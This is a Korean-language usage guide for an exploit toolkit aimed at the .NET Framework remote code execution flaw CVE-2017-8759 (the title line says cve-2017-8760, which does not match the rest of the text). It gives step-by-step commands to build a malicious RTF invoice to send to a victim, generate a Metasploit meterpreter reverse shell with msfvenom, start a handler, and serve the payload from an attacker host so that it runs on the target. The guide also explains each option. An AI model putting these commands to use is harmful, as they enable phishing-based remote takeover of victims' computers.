cve-2017-8760

- 악성 RTF 파일 생성
- 생성된 RTF 파일에 대한 익스플로잇 모드

1) 악성 RTF 파일 생성
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (선택 사항, MSF 페이로드를 사용하는 경우): metasploit 페이로드 생성 및 핸들러 시작
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) 로컬 페이로드를 전달하기 위해 툴킷을 익스플로잇 모드로 시작
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

# python cve-2017-8759_toolkit.py -h

이것은 CVE-2017-8759 (Microsoft .NET Framework RCE)를 악용하기 위한 편리한 툴킷입니다.

모드:

-M gen                                          악성 파일만 생성

     악성 RTF 파일 생성:

      -w <Filename.rtf>                   악성 RTF 파일의 이름입니다 (이 파일을 피해자와 공유하세요).

      -u <http://attacker.com/test.txt>   원격 txt 파일의 경로입니다. 일반적으로 이 값은 이 툴이                                          실행 중인 도메인 또는 IP여야 합니다.
                                          예를 들어, http://attackerip.com/test.txt (이 URL은 악성 RTF 파일에 포함되며 	                                              피해자가 악성 RTF 파일을 열면 요청됩니다.)

				      
-M exp                                          익스플로잇 모드 시작

     익스플로잇:
  
      -p <TCP port:Default 80>            로컬 포트 번호.

      -e <http://attacker.com/shell.exe>  대상에서 실행되어야 하는 실행 파일 / meterpreter 셸 / 페이로드의 경로.

      -l </tmp/shell.exe>                 실행 파일 / meterpreter 셸 / 페이로드의 로컬 경로를 지정합니다.